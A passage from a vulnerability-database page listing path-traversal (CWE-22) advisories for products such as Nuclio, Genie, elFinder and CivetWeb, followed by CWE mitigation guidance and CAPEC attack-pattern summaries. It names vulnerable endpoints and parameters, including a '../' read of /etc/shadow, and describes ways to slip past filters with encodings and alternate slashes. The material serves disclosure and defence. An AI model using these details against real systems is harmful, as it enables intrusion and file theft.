path\")\n}\nabsTempDir, err := filepath.Abs(tempDir)\nif err != nil {\n    return \"\", errors.Wrap(err, \"Failed to resolve absolute tempDir\")\n}\nif !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {\n    return \"\", errors.Errorf(\n        \"handler module path escapes build directory: %s\", moduleFileName)\n}\n\nb.logger.DebugWith(\"Writing function source code to temporary file\", \"functionPath\", absPath)\nif err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {\n```\n\nAlternatively, reject any `handler` module name containing path separator characters before the build pipeline is invoked (at API request validation time).\n\n---\n\n## Resources\n\n- Vulnerable file: `pkg/processor/build/builder.go` \u2014 function `writeFunctionSourceCodeToTempFile`, line 654\n- Parser: `pkg/functionconfig/handler.go` \u2014 function `ParseHandler`, line 25\n- Go `path.Join` behavior: https://pkg.go.dev/path#Join\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal",
  "id": "GHSA-wpcj-rmv4-86qg",
  "modified": "2026-07-16T19:47:17Z",
  "published": "2026-07-16T19:47:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-wpcj-rmv4-86qg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/pull/4143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/commit/2a55d3a8bd4d49226cb4742020303f5bf2a0931d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuclio/nuclio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container"
}

GHSA-WPCM-754J-J834

Vulnerability from github – Published: 2023-04-08 12:30 – Updated: 2023-04-11 21:31
VLAI
Details

A vulnerability classified as critical was found in SourceCodester Online Computer and Laptop Store 1.0. Affected by this vulnerability is an unknown functionality of the file /classes/Master.php?f=delete_img of the component Image Handler. The manipulation of the argument path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-225343.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-1956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-08T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability classified as critical was found in SourceCodester Online Computer and Laptop Store 1.0. Affected by this vulnerability is an unknown functionality of the file /classes/Master.php?f=delete_img of the component Image Handler. The manipulation of the argument path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-225343.",
  "id": "GHSA-wpcm-754j-j834",
  "modified": "2023-04-11T21:31:10Z",
  "published": "2023-04-08T12:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/boyi0508/Online-Computer-and-Laptop-Store/blob/main/Any%20file%20deletion%20exists%20in%20the%20system%20management%20department.pdf"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.225343"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.225343"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPCV-5JGP-69F3

Vulnerability from github – Published: 2024-05-09 21:35 – Updated: 2024-05-14 20:04
VLAI
Summary
Genie Path Traversal vulnerability via File Uploads
Details

Overview

Path Traversal Vulnerability via File Uploads in Genie

Impact

Any Genie OSS users running their own instance and relying on the filesystem to store file attachments submitted to the Genie application may be impacted. Using this technique, it is possible to write a file with any user-specified filename and file contents to any location on the file system that the Java process has write access - potentially leading to remote code execution (RCE).

Genie users who do not store these attachments locally on the underlying file system are not vulnerable to this issue.

Description

Genie's API accepts a multipart/form-data file upload which can be saved to a location on disk. However, it takes a user-supplied filename as part of the request and uses this as the filename when writing the file to disk. Since this filename is user-controlled, it is possible for a malicious actor to manipulate the filename in order to break out of the default attachment storage path and perform path traversal.

Using this technique it is possible to write a file with any user specified name and file contents to any location on the file system that the Java process has write access to.

Patches

This path traversal issue is fixed in Genie OSS v4.3.18. This issue was fixed in https://github.com/Netflix/genie/pull/1216 and https://github.com/Netflix/genie/pull/1217 and a new release with the fix was created. Please, upgrade your Genie OSS instances to the new version.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.netflix.genie:genie-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-4701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-09T21:35:23Z",
    "nvd_published_at": "2024-05-14T15:44:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Overview\nPath Traversal Vulnerability via  File Uploads in Genie \n\n### Impact\nAny Genie OSS users running their own instance and relying on the filesystem to store file attachments submitted to the Genie application may be impacted. Using this technique, it is possible to write a file with any user-specified filename and file contents to any location on the file system that the Java process has write access - potentially leading to remote code execution (RCE).\n\nGenie users who do not store these attachments locally on the underlying file system are not vulnerable to this issue. \n\n### Description\nGenie\u0027s API accepts a multipart/form-data file upload which can be saved to a location on disk. However, it takes a user-supplied filename as part of the request and uses this as the filename when writing the file to disk. Since this filename is user-controlled, it is possible for a malicious actor to manipulate the filename in order to break out of the default attachment storage path and perform path traversal. \n\nUsing this technique it is possible to write a file with any user specified name and file contents to any location on the file system that the Java process has write access to.\n\n### Patches\nThis path traversal issue is fixed in Genie OSS v4.3.18. This issue was fixed in https://github.com/Netflix/genie/pull/1216 and  https://github.com/Netflix/genie/pull/1217 and a [new release](https://github.com/Netflix/genie/releases/tag/v4.3.18) with the fix was created. Please, upgrade your Genie OSS instances to the new version.",
  "id": "GHSA-wpcv-5jgp-69f3",
  "modified": "2024-05-14T20:04:56Z",
  "published": "2024-05-09T21:35:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/genie/security/advisories/GHSA-wpcv-5jgp-69f3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/genie/pull/1217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/genie/commit/6bad017d8078c94e80d6c6fe8abd693910bf55cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/genie"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/genie/releases/tag/v4.3.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2024-001.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Genie Path Traversal vulnerability via File Uploads"
}

GHSA-WPG3-WGM5-RV8W

Vulnerability from github – Published: 2022-05-14 00:55 – Updated: 2022-05-14 00:55
VLAI
Details

Directory traversal vulnerability in the Dir.mktmpdir method in the tmpdir library in Ruby before 2.2.10, 2.3.x before 2.3.7, 2.4.x before 2.4.4, 2.5.x before 2.5.1, and 2.6.0-preview1 might allow attackers to create arbitrary directories or files via a .. (dot dot) in the prefix argument.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2018-6914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-03T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in the Dir.mktmpdir method in the tmpdir library in Ruby before 2.2.10, 2.3.x before 2.3.7, 2.4.x before 2.4.4, 2.5.x before 2.5.1, and 2.6.0-preview1 might allow attackers to create arbitrary directories or files via a .. (dot dot) in the prefix argument.",
  "id": "GHSA-wpg3-wgm5-rv8w",
  "modified": "2022-05-14T00:55:59Z",
  "published": "2022-05-14T00:55:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6914"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:3729"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:3730"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:3731"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2028"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/04/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/04/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3626-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4259"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-2-10-released"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-3-7-released"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-4-4-released"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-5-1-released"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2018/03/28/unintentional-file-and-directory-creation-with-directory-traversal-cve-2018-6914"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103686"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1042004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPH3-44RJ-92PR

Vulnerability from github – Published: 2021-06-16 17:04 – Updated: 2022-08-11 00:02
VLAI
Summary
elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE
Details

Impact

We recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration.

Patches

The issues were addressed in our last release, 2.1.59.

Workarounds

If you can't update to 2.1.59, make sure your connector is not exposed without authentication.

Reference

Further technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.

For more information

If you have any questions or comments about this advisory, you can contact: - The original reporters, by sending an email to vulnerability.research@sonarsource.com; - The maintainers, by opening an issue on this repository.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "studio-42/elfinder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-78",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-15T21:01:45Z",
    "nvd_published_at": "2021-06-14T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nWe recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration. \n\n### Patches\n\nThe issues were addressed in our last release, 2.1.59. \n\n### Workarounds\n\nIf you can\u0027t update to 2.1.59, make sure your connector is not exposed without authentication.\n\n### Reference\n\nFurther technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n    - The original reporters, by sending an email to vulnerability.research@sonarsource.com;\n    - The maintainers, by opening an issue on this repository.",
  "id": "GHSA-wph3-44rj-92pr",
  "modified": "2022-08-11T00:02:01Z",
  "published": "2021-06-16T17:04:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-qm58-cvvm-c5qr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32682"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Studio-42/elFinder/commit/a106c350b7dfe666a81d6b576816db9fe0899b17"
    },
    {
      "type": "WEB",
      "url": "https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Studio-42/elFinder"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164173/elFinder-Archive-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE"
}

GHSA-WPH4-Q4M8-F794

Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30
VLAI
Details

An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
7.2 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-20916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T16:16:36Z",
    "severity": "HIGH"
  },
  "details": "An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.\n\u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-wph4-q4m8-f794",
  "modified": "2026-05-13T18:30:54Z",
  "published": "2026-05-13T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20916"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000158029"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WPHM-3GX3-274Q

Vulnerability from github – Published: 2024-10-12 09:30 – Updated: 2024-10-12 09:30
VLAI
Details

The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-9047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-12T07:15:02Z",
    "severity": "CRITICAL"
  },
  "details": "The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.",
  "id": "GHSA-wphm-3gx3-274q",
  "modified": "2024-10-12T09:30:30Z",
  "published": "2024-10-12T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9047"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3164449/wp-file-upload"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/554a314c-9e8e-4691-9792-d086790ef40f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPHM-MH7C-38CF

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

The CivetWeb web library does not validate uploaded filepaths when running on an OS other than Windows, when using the built-in HTTP form-based file upload mechanism, via the mg_handle_form_request API. Web applications that use the file upload form handler, and use parts of the user-controlled filename in the output path, are susceptible to directory traversal

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2020-27304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-21T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The CivetWeb web library does not validate uploaded filepaths when running on an OS other than Windows, when using the built-in HTTP form-based file upload mechanism, via the mg_handle_form_request API. Web applications that use the file upload form handler, and use parts of the user-controlled filename in the output path, are susceptible to directory traversal",
  "id": "GHSA-wphm-mh7c-38cf",
  "modified": "2022-05-24T19:18:28Z",
  "published": "2022-05-24T19:18:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27304"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-222547.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/civetweb/c/yPBxNXdGgJQ"
    },
    {
      "type": "WEB",
      "url": "https://jfrog.com/blog/cve-2020-27304-rce-via-directory-traversal-in-civetweb-http-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WPHX-QM9G-V53M

Vulnerability from github – Published: 2021-12-16 00:02 – Updated: 2021-12-18 00:01
VLAI
Details

HD-Network Real-time Monitoring System 2.0 allows ../ directory traversal to read /etc/shadow via the /language/lang s_Language parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-45043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-15T08:15:00Z",
    "severity": "HIGH"
  },
  "details": "HD-Network Real-time Monitoring System 2.0 allows ../ directory traversal to read /etc/shadow via the /language/lang s_Language parameter.",
  "id": "GHSA-wphx-qm9g-v53m",
  "modified": "2021-12-18T00:01:50Z",
  "published": "2021-12-16T00:02:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45043"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1DlfZz0F8skWy3Mkahx_NMo-sYZh9-eun/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1bx9yCN-IHYuRpd7g3jhMb0LcTC1ARzSX/view?usp=sharing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WPRM-J8WF-78V5

Vulnerability from github – Published: 2021-12-18 00:00 – Updated: 2021-12-28 00:01
VLAI
Details

SICK SOPAS ET before version 4.8.0 allows attackers to manipulate the pathname of the emulator and use path traversal to run an arbitrary executable located on the host system. When the user starts the emulator from SOPAS ET the corresponding executable will be started instead of the emulator

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{
  "affected": [],
  "aliases": [
    "CVE-2021-32498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-17T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "SICK SOPAS ET before version 4.8.0 allows attackers to manipulate the pathname of the emulator and use path traversal to run an arbitrary executable located on the host system. When the user starts the emulator from SOPAS ET the corresponding executable will be started instead of the emulator",
  "id": "GHSA-wprm-j8wf-78v5",
  "modified": "2021-12-28T00:01:29Z",
  "published": "2021-12-18T00:00:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32498"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt#advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

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